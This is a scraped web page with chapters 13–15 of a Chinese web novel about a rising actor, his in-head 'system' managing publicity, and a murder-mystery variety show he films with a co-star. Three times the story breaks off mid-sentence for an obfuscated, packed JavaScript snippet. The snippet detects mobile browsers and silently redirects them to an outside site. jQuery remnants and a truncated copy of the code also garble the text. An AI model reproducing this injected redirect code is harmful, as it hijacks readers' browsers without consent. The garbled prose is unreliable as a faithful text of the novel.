他靠在枕头上,在热评的评论区里翻了翻,很快就找到了那张路透照片。 夜色深深,庭院里下着雨。幽绿的灯光从身侧打来,模糊掉所有背景和路人,只剩下他和与他打着同一把伞的宁非凡身形清晰。 红色三角梅被灰调滤镜勾勒出深红筋骨,曲折逶迤的枝干勾住宁非凡的衣服,而他伸手帮他捏花,透过照片中的角度,看起来像是一个环抱。 莫闻赫怔了怔,松开下拉屏幕的手指,评论区刷出了热评主人的新回复:是不是拍得绝了? 莫闻赫扯了扯嘴角,心上那片涟漪又开始波荡。 嗯,确实绝了。 13.正片第一期(八) 莫闻赫在搜煊赫非凡更多的路透照片时,宁非凡正在听系统说自己的后续安排。 “综艺路透有效出圈,替你在粉圈刷了一把脸,微博粉丝也涨了五十万,看脸路人和CP粉各占一半,算了开了个好头。这点名气不足以为你接到好工作,就算有短剧制作人看上了你的脸,目前也在观望,而且拍短剧不适合我给你规划的路线,所以我的意思是,这段时间你专心录综艺,继续精进演技,抽空拍几套硬照留着当以后的营业素材,别的工作暂时不要考虑。” 宁非凡坐在床沿擦头发,,困得眼皮子直耷拉,懒懒地“嗯”了一声。 系统接着道:“你那对CP是意外之喜,需要我安排‘路透’帮你维护吗?” 宁非凡手一顿,扯了扯嘴角:“暂时不用。” 他对炒CP不感兴趣,一时的热度很可能带来无穷后患,类似的前车之鉴娱乐圈一抓一大把,他不会去步后尘。 何况CP这种东西,自然发酵才最好嗑。正主做饭比不过自己抠糖都快成CP圈铁律了,就算要维护,他也不能自己炒菜,跟莫闻赫正常相处,给CP粉提供食材就行了。 “好吧,我尊重你的想法。”系统没有坚持,它答应过会给宁非凡自由选择的权利,“逃出桃花源投资不够,平台和节目组决定边拍边播,以期尽快回笼资金,为后面的录制做准备。我给你做了两套营销方案,你看看喜欢哪套。” 说着,它向宁非凡的意识传去两段资料。 第一套方案走的是娱乐圈传统路线,热搜轰炸通稿刷脸,各平台大推流推送,从颜值入手,先吸颜粉和梦女,把偶像派形象立起来,接偶像剧带人气,站稳脚跟,再慢慢向实力派转型。 这套方案培养的是流量生,虽然概括起来就几句话,但细节很多,能不能成也很考验运气,第二套方案就落地多了。 综艺刷脸,切片二创,配合目前势头强劲的CP进行推流,先搞泛人气混脸熟。 逃出桃花源内容非常丰富,有推理解谜,沉浸演绎,之后还有密室逃脱,只要表现得够好,每个环节都能出高光切片,推流起来也简单得多。 但这套方案也有弊端,容易给宁非凡打上综艺咖标签,影响后续加戏。不过只要演技过关,给他一部戏的时间他就能脱颖而出,倒也不需要太担心。 宁非凡毫不犹豫:“我选第二套。” 系统并不意外。 其实做方案的时候它就猜到宁非凡会选第二套,毕竟曾经是普通人,深受娱乐圈跳脸营销之害,或多或少都有PTSD。 除此之外,流量生承受的压力比一般明星大很多,转型起来也更难,他以后要走演员的路,当然是泛人气更有性价比。 “好。”系统说道,“我跟节目组对接过了,第一期的播出时间在下个月底,平台不怎么重视这档综艺,大概率是空降,那时你们应该已经录完第二期下了。休息时间我会给你找摄影工作室拍物料,你喜欢什么风格?” “都可以。”宁非凡把毛巾放回浴室,扒了扒半湿的头发,大字型躺到床上,“你觉得我适合什么风格?” 系统不假思索地道:“古装。” “那就这个。”宁非凡翻过身,脸埋进枕头,“还有事吗?没有我就睡了,明天还要早起。” “没有了,你休息吧。” 系统道了句“晚安”,沉进他意识深处,不再开口。 宁非凡很快陷入沉睡,一夜无梦。 次日早上七点半,宁非凡准时到达停车场,莫闻赫也很守信地在那里等他,还给他准备了早餐。 宁非凡喝了口豆浆,长长打个哈欠。莫闻赫倒是精神抖擞,笑道:“没睡够?” “嗯,很难得有晚睡早起的体验,好像回到了高三。”宁非凡捂住豆浆杯,靠着椅背闭目养神。 “这是圈子常态,越红越忙。”莫闻赫点头,“我觉得你一定会红,所以你得早点调整作息。” 宁非凡淡淡笑了一声,向他举杯:“借你吉言。” 两人说话时,车子缓缓启动,驶出了停车场。经过酒店门前时,外面忽然传来几声极轻微的快门声,莫闻赫皱了皱眉,这才发现车窗没关,连忙关上。 宁非凡偏头看去,透过单向窗纸,看到了不远处几个举着摄像机的人,有男有女,设备专业,看着不像粉丝,更像专业代拍。 他瞬间响起了搞出煊赫非凡CP的路透,无奈地摇头。 得,CP粉们今天又幸福了。 到了陶宅,两人的PD小姐姐领着他们去化妆间,顺便把今天的新剧本交给他们,还叮嘱了句不要互相偷看。 进入化妆间,俩弟弟和王洛玟已经到了,几人互相打过招呼,边化妆,边看剧本,有一搭没一搭地闲聊,转眼就到了十点,录制开始的时间。 七人穿过庭院,走向二小姐的闺房,刚到门口,秦章的脚步就顿了一下,探头朝屋后张望。 “怎么了?” 另外六人跟着停步,顺着他的目光看去,就见屋后有一座小池塘,水浅而清澈,可以看到池底高低不平的淤泥,几十株枯死的荷花漂在水面上,一片荒凉。 “这是荷花池吗?”秦章指着水池问。 “对。”王洛玟点头,“我住得离荷花池最近,所以昨晚才会陪爹一起去查看情况。” 听到这话,莫闻赫表情一动,从记录本里抽出PD小姐姐早上给自己的地图,这才发现每个人的空间的位置都很讲究。 六位嫌疑人的房间由一条走廊连接,陶老爷的在第一间,毗邻正厅。宁先生的书房为第二间,正对花圃。三少爷四少爷的房间并排位列三四,靠近一口小水池。大小姐在第五间,后面就是假山丛。二小姐的则是在走廊尽头的最后一间,再往前就是后院,也就是荷花池所在。 目前已知第一案发现场不在发现尸体的大堂,宅子已解锁的空间就上述这些,无论他死在哪里,都能用来盘时间线和杀人动线,排除一部分嫌疑人。 原来地图的作用是这个。 莫闻赫整理了一下思绪,将自己的发现告诉众人,又带出下一个流程:“搜证后,我们要到花圃、假山这些地方也搜一搜,找出真正的案发现场。” “明白。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何循眯起眼睛看了好一会儿,才看清耳环的模样,轻轻拍了拍宁非凡的肩膀:“年轻人眼神就是好,你这看得也太细了。” “我们每个人的身份可能都是乱的,难怪要烫掉照片上的脸,这是故意只留装束误导我们呢。”白韶清仔仔细细又看了几遍照片,记下所有细节,“宁先生,你继续吧。” 宁非凡应了一声,把照片还回去,拎起一方手帕抖开。粉色帕子上有一块双面绣,正面是桃花,背面是一轮月亮,绣工很精细。 “二小姐,这是你绣的吗?” 王洛玟坦率地道:“是我绣的。” “这东西有问题?”何循拿过帕子闻了一下,又捻了捻,“好像就是一张普通手帕啊。” 宁非凡提示:“正面桃花,背面圆月——” “啊!”聂远笙恍然大悟,“陶园!二姐,这是你给陶园绣的手帕?” 莫闻赫敏锐地问:“你们俩什么关系?” 王洛玟揉了揉耳后,抿嘴微笑:“暂时还没有关系——我暗恋他而已。” 四周安静了片刻,秦章由衷道:“我靠……” 何循也反应过来,目瞪口呆:“陶园的真实身份……” 宁非凡和莫闻赫对视一眼,一起鼓掌。 “刺激。” 14.正片第一期(九) 根据《陶宅话本》和每个人的死因,可以推断出死者和在场所有人暂定的真实身份。 陶园——陶老爷。 陶老爷——没有名字的五少爷。 宁先生——宁管家。 二小姐——大小姐。 按照这个身份,二小姐如果暗恋陶园,相当于爱上了自己父亲。 “不是,节目组你们玩儿这么大的吗?过得了审吗?”聂远笙抓了抓头发,一脸的难以置信。 王洛玟却只是笑而不语,展开扇子优雅地扇风,与众人的惊愕讶异形成鲜明对比。 莫闻赫发表完惊叹后便低头记录线索,忽然发现不对,开口打断大家的震撼:“话本里的二小姐死于摔下枯井,可你是大小姐,你的后遗症怎么会跟二小姐的死因有关?” 宁非凡恰好也发现了这点,捏起耳环晃了晃,看向王洛玟:“难道这个不是指向身份的证据?” 王洛玟合上扇子,轻敲掌心:“你们自己想咯。” 忙着看戏的何循这时反应过来,连忙举手道:“我这里有相关证据,应该可以解释少帅你的疑问。” 莫闻赫果断把他提到前头:“嗯,那下一个你说。” 何循低头扒拉自己的证据,翻出来一张老照片向众人展示。 这张照片倒是完整清晰的,背景是陶宅大厅,一名女子端坐于主座上,穿着修身合衬的旗袍,梳着发髻,温婉秀美气质温和,腿上抱着一个小女孩,两人都冲着镜子笑。 小女孩被P成了白韶清的脸。 “这是……”莫闻赫拿过照片,想了想说道:“陶夫人和大小姐?” 何循抚着胡须高深莫测地点头。 “我夫人……暂且称我夫人。我夫人去世得早,这是她留下的唯一一张照片。我印象里我们家只有四个孩子,并且只有大女儿是她亲生的,另外三个……这么说吧,各有各的来历,等会儿看其他人的证据你就知道了。” 宁非凡往莫闻赫那边靠了靠,垂头仔细观察照片上的人,看来看去,在夫人耳垂上看到了自己发现的那对耳环。 他贴得太近,鬓角的头发都蹭到了莫闻赫脸上,带起些许刺痒。 他本来想说什么,结果被头发扎得忘了到嘴边的话,所幸宁非凡与他心有灵犀,指着照片替他说了:“耳环原本是夫人的东西,先留给了大小姐,才被转交给二小姐?” 白韶清闻言,这才点点头,对他们的猜测拨乱反正。 “对。耳环是我妈妈留给我的,妹妹十八岁生日时,我找不到够有分量的礼物送她,思来想去,最后还是将耳环送了过去,就当是替妈妈送她的。” “你知道二小姐不是夫人的孩子吗?”莫闻赫问。 这回白韶清却出乎意料地摇头:“不知道,我们家的孩子应该都不知道,都以为我们是妈妈生的吧。” “诶,不是哦。”何循立马反驳,并拎起了第二件证据,一封已经拆开的信,“侦探,来看看这个。” 莫闻赫接过信件,把头往后移了点,避开宁非凡的脑袋,随即又将信朝他那边挪,确保他看得清。 这一连串动作他做得自然且流畅,几乎是本能反应,即使脖子抻得略微发酸,也没有想过从宁非凡身边退开。 宁非凡却隐有察觉,看了他一眼,主动挪开一点,捏着信的一角,按PD刚才的嘱咐,把里面内容念了出来: “感谢陶二小姐的来信委托,经我司调查取证,确认您非陶夫人亲生女儿,而是夫人自河边捡到的弃婴,至于父母是何人,因年份久远无从寻找——弄假成侦探社。” 看到最后这个熟悉的名字,宁非凡有些讶异:“你也找了这个侦探社?什么时候的事?” “我十八岁生日那年,按理说是五年前,不过我们每年大年初一不是会记忆重置吗?所以具体哪年真说不好,但可以确定的是,这个调查结果我是在十八岁生日当天拿到的。” 王洛玟翘了翘脚尖:“记忆重置只会重置前一年的记忆,也就是让我们一直停在我们当下的年纪,但以前的记忆不会丢。母亲是在我和大姐五岁时去世的,我依稀记得小时候她对我很好,所以即使知道她不是我的母亲,我也很爱她,更感谢大姐愿意把这对她戴过的耳环送给我,我一直很珍惜地戴着。” “原来如此。”宁非凡把信塞回信封里,一本正经地道:“你和陶家的每个人都没有血缘关系,恭喜你,你可以正大光明地跟陶园谈恋爱了。” 众人被他突如其来的冷幽默逗乐了,王洛玟也一扶额:“人都死了还谈什么恋爱,况且一想到他真实身份是五十岁的老年人,我就觉得这个世界果然还是癫了,这种好似吃了三盘凉拌见手青的初恋不提也罢!” 听到这话,几人顿时哄笑出声。 宁非凡笑得东倒西歪,扒在了莫闻赫的肩上。 莫闻赫顺手一揽扶住他,边笑边问:“还有人找到二小姐的证据吗?” 秦章连忙举手:“有,一张死亡证明,我和四弟在衣柜里找到的。” “谁的死亡证明?”宁非凡嘴上问着,顺手把证据接过来一瞧,“哦,陶老爷的,死因是溺死,跟之前在话本上看到的五少爷死因一致。” 莫闻赫的手从他腰间挪到了他肩膀,圈着他说:“话本上有说,陶老爷死于自尽,大小姐和二小姐死于意外,三少爷被不知道什么人活埋,四、五少爷是互相残杀。但我一直很奇怪,陶老爷好好的为什么要自尽?大小姐和二小姐的意外是真正的意外吗?五少爷为什么要活埋三少爷?四、五少爷又为什么要彼此杀害?当时到底发生了什么?” 侦探抛出问题后,众人经过短暂思考,七嘴八舌地或讨论或插科打诨,只有宁非凡没有参与,静静整理脑海中现存的线索。 过了一会儿,他突然出声:“我们的病症是一个月前出现的,合理推测我们一个月前可能都死过一次,也就是说,话本时间应该是一个月前。陶家发生这么大的事,死亡证明都出了,官府肯定有所参与——莫少帅,我们现在都是死人,离开陶宅接触到的不一定是真实世界,你能不能去官府调阅一下陶宅灭门的卷宗?” 这话一出,所有人都被他的思路震惊,莫闻赫也不例外,都直愣愣地看着他。 几秒钟后,莫闻赫的耳机里响起了PD小姐姐的声音: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296503|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嫌疑人宁先生触发隐藏机制——侦探可以调阅卷宗,请莫少帅让他们稍等,卷宗会有官府专人送过来。” 莫闻赫连忙复述PD的话,说完后用力拍拍他的肩膀,冲他竖起大拇指。 众人又是一愣,反应过来后纷纷跟着少帅夸奖他。 “牛啊宁哥!”何循开口一句“宁哥”差点把宁非凡吓得从栏杆上摔下来,“这种机制都能被你摸到,你是真的心细如发,这侦探就该你来当!” “诶诶诶!”莫闻赫赶紧捍卫自己的身份,“本少帅还在这儿呢,这种话——你以后就悄悄说!” 宁非凡乐了:“听不到就当不存在是吧?少帅你心可真宽。” “不心宽能来查这个案子吗?”莫闻赫好气又好笑,“一般的侦探听到一屋子全是鬼这里就撒丫子跑了,还能像我一样带着你们这群失忆的鬼刨根问底?” “说的也是哈。”聂远笙挠着头笑,“不过感觉时间对不上啊,死亡证明里我们是上个月死的,但话本里又说我们是住进宅子的十年后死的。可我们记忆里,按父亲的年龄,陶家至少在这儿住了五十年以上,这又是什么情况?” 宁非凡想了想:“嗯,和我的记忆也对不上,我十年前来这里的时候,陶宅就已经是远近闻名的鬼宅,二十年前就没人住了,也就是说,在我的时间线里,陶宅的原主人三十年前就已全部丧命。” 陶家人对陶宅的记忆最早可以追溯到五十年前陶老爷出生的时候,接着是三十年前他们印象里的家道中落,宁非凡印象里能跟话本描述对上的阖族尽灭,再之后就是十年前宁非凡和陶园入府,以及一个月前所有人,包括宁非凡在内的那次死亡。 如果把话本记载当做真实时间线,那么一个月前发生的那场集体死亡,该是对应宁非凡印象里三十年前的陶家灭门事件,他们的记忆可能没有问题,但受死亡影响,出现了时间紊乱,互相对不上的情况。 宁非凡和莫闻赫你一言我一语地梳理出上述脉络,秦章反应最快,连连点头的同时补充观点:“鬼是不能影响现实事物的,所以父亲毁不掉话本。鬼如果认为自己还活着,会忘掉自己的死因死状,但因为死亡时受到的冲击太大,所以有时也会想起死时或死前的事,或者身上出现跟死因相关的症状,对应了我们的病症,和父亲最后一次梦游时手里出现的那把凶器。” “时间紊乱,记忆却不是假,我在一些灵异小说里也见过类似的设定。”白韶清饶有兴致地道,“这样说起来,宁先生其实不是我们陶家原本的管家啊,他是在灭门事件发生后进府的,但他怎么也死了呢?” “想不通。”宁非凡揉了揉眉心,感觉大脑要在这混乱无序的时间设定烧起来了,“而且陶园是陶老爷,不可能跟我一起扮作下人进府,一个月前他也已经跟我们一起死去。但这个月他为什么会以园丁身份出现?今天又为什么会再死一次?” 一个隐藏机制,一部可能连接真实时间线的话本,引出了现有的线索和证据之下更大的谜团。 众人终于明白为什么两天时间只能录完上半期了,这缓慢的进度与信息量,可全都是用编剧老师的头发织出来的啊! 15.正片第一期(十) 卷宗还需要十分钟才能送来,众人也不干等,带着满腹疑惑继续分享证据,边讨论边推进程。 “二小姐的证据都说完了吧?”莫闻赫把记录本翻到空白一页,“接下来是三少爷,谁找到了他的东西?” “我!”聂远笙高高举起了手。 “嗯,你说。” 聂远笙抓起一张信纸抖开,煞有介事地清清嗓子:“死亡证明大家都很熟悉了吧?这张是四少爷——也即我本人的,死因为窒息,对应话本里的活埋。” 说着,他又取出药方和成药,是治疗喉咙无故剧痛的“清喉丸”,坐实了他与三少爷身份交换的情况。 这一段大家早有预料,迅速翻篇,聂远笙掏出了真正意义上的重要证据——《陶宅话本·夜话篇》。 莫闻赫讶异地接过话本:“这是第二个版本的话本?” “不,这是上个话本的背景补充。”聂远笙抠抠鼻尖,见挠下来一块粉底,赶忙揉搓几下,把附近的粉底搓匀,“有点绕,不过可以解释你们刚刚提出的大部分疑问。” 莫闻赫下意识与宁非凡对视一眼,将话本翻开,念出里面的内容: 灭门案后数年,陶宅怪事频发,有高人往之调查,发现陶宅内时空混乱,常有其他世界的“陶家人”出没,长则停留三五日,短则片刻便归。 高人曾与他们接触,却发觉长时间停留于此时空的“陶家人”往往会突然死于非命,且死因随机为本世界陶家人中的一种。死者死后魂魄不散,仍会滞留阳间许久,且记忆与身份认知出现混乱,会混淆他们所在世界的记忆和自己的死因指向的那位陶家人的记忆,颠倒错乱,行为无状,十分骇人。 高人在陶宅调查半月,见过其他世界的陶三少爷死亡后误以为自己是本世界的陶老爷,疯疯癫癫三日后魂魄方散去。类似事情数不胜数,难以理解,高人苦查无果,抱憾而去。 “夜话篇”的篇幅不长,信息量却大得惊人,莫闻赫念完后,周围安静了足足半分钟,其他人的注意力才从文字里绕出来。 白韶清抱头:“燃起来了!我的脑子燃起来了!” “有聪明人能概括解释一下吗?我的脑神经要打结啦!”何循也一脸的痛不欲生,“这才第一期啊编剧老师们,要不要一来就上这么大的硬菜?!” 莫闻赫翻来覆去地琢磨这不长不短的几段话,想了一会儿,突然抬起手肘轻轻撞了撞宁非凡。 宁非凡扭头:“怎么了?” “你看明白了吧?”莫闻赫把话本塞到他手里,无辜一笑,“来,宁先生,给我们解释解释。” “对对,解释解释!”何循与白韶清眼巴巴地看了过去。 宁非凡好气又好笑地睨莫闻赫一眼,却也没有浪费他送给自己的表现机会,略微组织语言后说:“这里面有三层信息,第一层是底层背景设定。本世界——也就是《陶宅话本》世界的陶家灭门案发生后,陶宅内部的时空出现了混乱,可以连接其他平行时空。” “第二层跟我们的身份有关,本世界的陶宅经常出现其他世界的陶家人,有些来了很快就会离开,有些会待得久一点。遇到后一种情况的陶家人一部分会死于非命,死去后他们的鬼魂又会在陶宅滞留一段时间——这其实就是我们现在的状况。” 说到这里,宁非凡忽然停了下来,几人正跟小鸡啄米似的点头以示赞同,见状,疑惑地追问:“还有第三层呢?” 宁非凡的手指轻轻敲打话本封皮,思索着怎么讲才不那么绕。 莫闻赫勾起薄唇,拍了拍他的肩膀,主动接过话头:“第三层可以解释我们记忆混乱的原因。平行时空的陶家人死后,会同时产生认知混乱和记忆错乱,他们会误以为自己是这个世界的其他身份的陶家人。比如有位三少爷按照陶老爷的死因死去,那么原世界三少爷的记忆和本世界陶老爷的记忆就会同时出现在他脑子里,并融合成一套新的记忆。” 他尽量说得简洁明了,但因为设定本身的复杂程度,依旧显得很绕,听得陶老爷和大小姐再次戴上痛苦面具。 好在一通磕绊后,所有人努力理解并接受了这套新设定,扒拉着设定里的细节往自己身上套。 秦章反应最快,立即开口:“所以夹在话本里的那张照片是本世界的陶家人,而我们认知里的自己,是我们所处时空的自己的身份,只不过因为我们一个月前死于与自己身份不符的死因,才会出现我们带着自身的记忆,对应的死法和身份却应该是另一个人的情况?” “对。”宁非凡点头,把他的话拆开来解释:“比方说陶老爷,陶老爷一个月前可能是照着陶园的死法死的,所以他在本世界的身份是照片上的陶园,即五少爷。但他在他的世界就是陶老爷,所以他的身份和记忆一样,但与这个世界的故事线对不上。” 王洛玟听明白了:“也就是说我们的身份其实没有变化,记忆也都是我们自己的,最多多了一段死时的闪回和后遗症呗?那这颠来倒去的绕两圈,意义是什么?” “划分阵营。” “锁凶。” 宁非凡和莫闻赫同时开口,却说出了不同答案。 “咦?你俩居然不默契了?”白韶清笑着调侃道。 何循四人顿时发出一阵了然的闷笑。 宁非凡无奈:“少帅,你为什么觉得是锁凶?” 莫闻赫从他手中拿过话本晃了晃:“这应该是本案最大的秘密,从三少爷房间里发现,难道不能把他锁定为最大嫌疑人,或者至少是扛推位?” 秦章瞪大眼:“不是,少帅你这……” “这两个身份是完全对立的,如果不能明确他是哪一个,单单锁定范围没有意义。”宁非凡抚摸弟弟狗头,示意他稍安勿躁。 莫闻赫稍一思忖便认可了他的说法,果断调转话锋:“那划分阵营又是怎么说?” “按照目前的线索,我们几人,包括陶园在内,一个月前都已经死了。照片上对应我们什么身份,我们的死法就是什么,但我们原本的身份并没有发生变化,而记忆……至少我自己的记忆,则出现了非常明显的断层偏差。” 宁非凡非常自然地把莫闻赫的记录本和笔薅了过来,在空白页上划拉。 “在我的记忆里,我是一名掮客,买下我所在的那个世界的陶宅后发现里面闹鬼,于是找人调查,我自己也进了宅子——从进入宅子的那一刻起,我穿越到了这个世界,之后被吓死,记忆混乱,那些入府、成为教书先生的记忆,应该都是本世界管家的记忆。如果我没记错,过去那段时间我虽然顶着教书先生的名头,但我干的实际上都是管家的活儿。” 什么打理书房,掌管下人名册,帮陶老爷办事,基本都是管家的职责,真正教导小姐少爷们的事情反倒一件都没有。 何循连连点头:“没错没错,确实是这个理儿。” 宁非凡问:“你们的记忆有类似的偏差吗?” 王洛玟和白韶清不约而同地摇头,聂远笙想了想,语调上扬:“有的!在我印象里,我是陶家的四少爷,陶宅是我们家老宅,从父亲算起至少也有五十年了,跟话本里陶家人入住陶宅十年后阖族尽灭的说法不一样。” 秦章与何循应和道:“对,我俩也有这段记忆。” 宁非凡边说边在本子上记:“我不是,我的记忆里,在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307424|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入陶宅的时候,这里已经荒废二十年了。” 莫闻赫习惯性转笔,转了个空才想起笔被宁非凡拿走了,转而搓搓指尖:“大小姐,二小姐,你们的记忆跟陶老爷他们一样吗?” 白、王两人迟疑了一下:“嗯……不太一样。” 两人的回答出乎众人意料,宁非凡当即抬头看了过去:“哪里不一样?” 白韶清望向王洛玟:“我记得陶家老宅不是这里,十三岁前,我们一家人一直生活在老宅,母亲去世后第四年我们才搬到这里,到今年一共是住了十年。” 王洛玟点头:“嗯,一样。” “那你俩……”何循左看右看,“跟话本里的时间线一样啊。” 聂远笙道:“你们身份不变,记忆与话本时间线一致,难道你们就是本世界的人……不对,就是本世界的鬼?” 两个女生面面相觑,也是一头雾水。 “夜话篇里只说在陶宅中死去的陶家人鬼魂会滞留阳间一段时间,可没说只有平行时空的陶家人有这个待遇,本世界的陶家人应该也是可以的。” 宁非凡说着,转了转笔,但因为动作没有莫闻赫那么熟练,笔一下脱手飞出去,差点砸莫闻赫脸上。 莫闻赫眼疾手快地抓住,无奈地笑着望过去。宁非凡连忙合掌道歉,从他那里把笔又拿了回来。 “能不转了吗?”莫闻赫斜他。 “不转了不转了,我写字,写字。”宁非凡抿着嘴笑,装乖装得浑然天成。 白韶清咬着拇指指甲乐乐呵呵地看戏,把王洛玟也带得忍不住笑了起来。 秦章虽然嘴角上扬,却还是选择先说正题:“我懂了,这就是宁哥说的划分阵营对吧?” 宁非凡颔首。 根据记忆,六名来自不同时空的嫌疑人可以划分为以下三个阵营: 陶老爷、三少爷和四少爷来自一个世界。 大小姐和二小姐属于本世界。 宁先生单独一个世界。 陶园未知。 “除了划分阵营,这个绕来绕去的身份设定还可以帮我们锁定嫌疑人的范围。”宁非凡在沙沙的写字声中说道。 “已知陶园身份没有变化,在他所处的世界是园丁。一个月前他和我们一起死过一次,根据排除法,他的死法与陶老爷一致。今天他又死一次,还是以陶老爷的死法死去,说明今天杀他的和一个月前杀他的是同一个人。那人两度把他认做陶老爷,所以按照惯性两次都用同一个手法杀掉他,会有这种惯性的人,只可能是目睹过陶老爷死状,且早早死在陶宅,记忆提前出现紊乱的本世界的大小姐和二小姐了。” 何循几人瞠目结舌,莫闻赫也诧异地盯着他,脑子飞快运转,思考他话里的逻辑。 “我俩死后把陶园认成了我爹,还杀了他两次?”白韶清指着自己反问,“可我们为什么会把他认成自己爹啊?” 宁非凡放下笔,从自己的证据里翻出一张药方递给莫闻赫。 他接过一看,药方第二行赫然写着:陶白大小姐的妄想症已至中期,常有幻听、幻视、幻痛、错认他人、思维混乱等症状。 “错认他人……”何循重复这四个字,呆愣道:“这就锁凶啦?” 白韶清也懵了:“你们居然都被排出去了?” 秦章挠挠头:“那、那杀机是什么啊?咱们聊到现在一个杀机都没盘出来,凶手这就被锁了?” 宁非凡的眼神依次从他们脸上扫过,最终定格在莫闻赫这里:“少帅,你认为呢?” “我认为不会那么简单。”莫闻赫拿回笔转了两下,“要么有反转,要么扛推位。”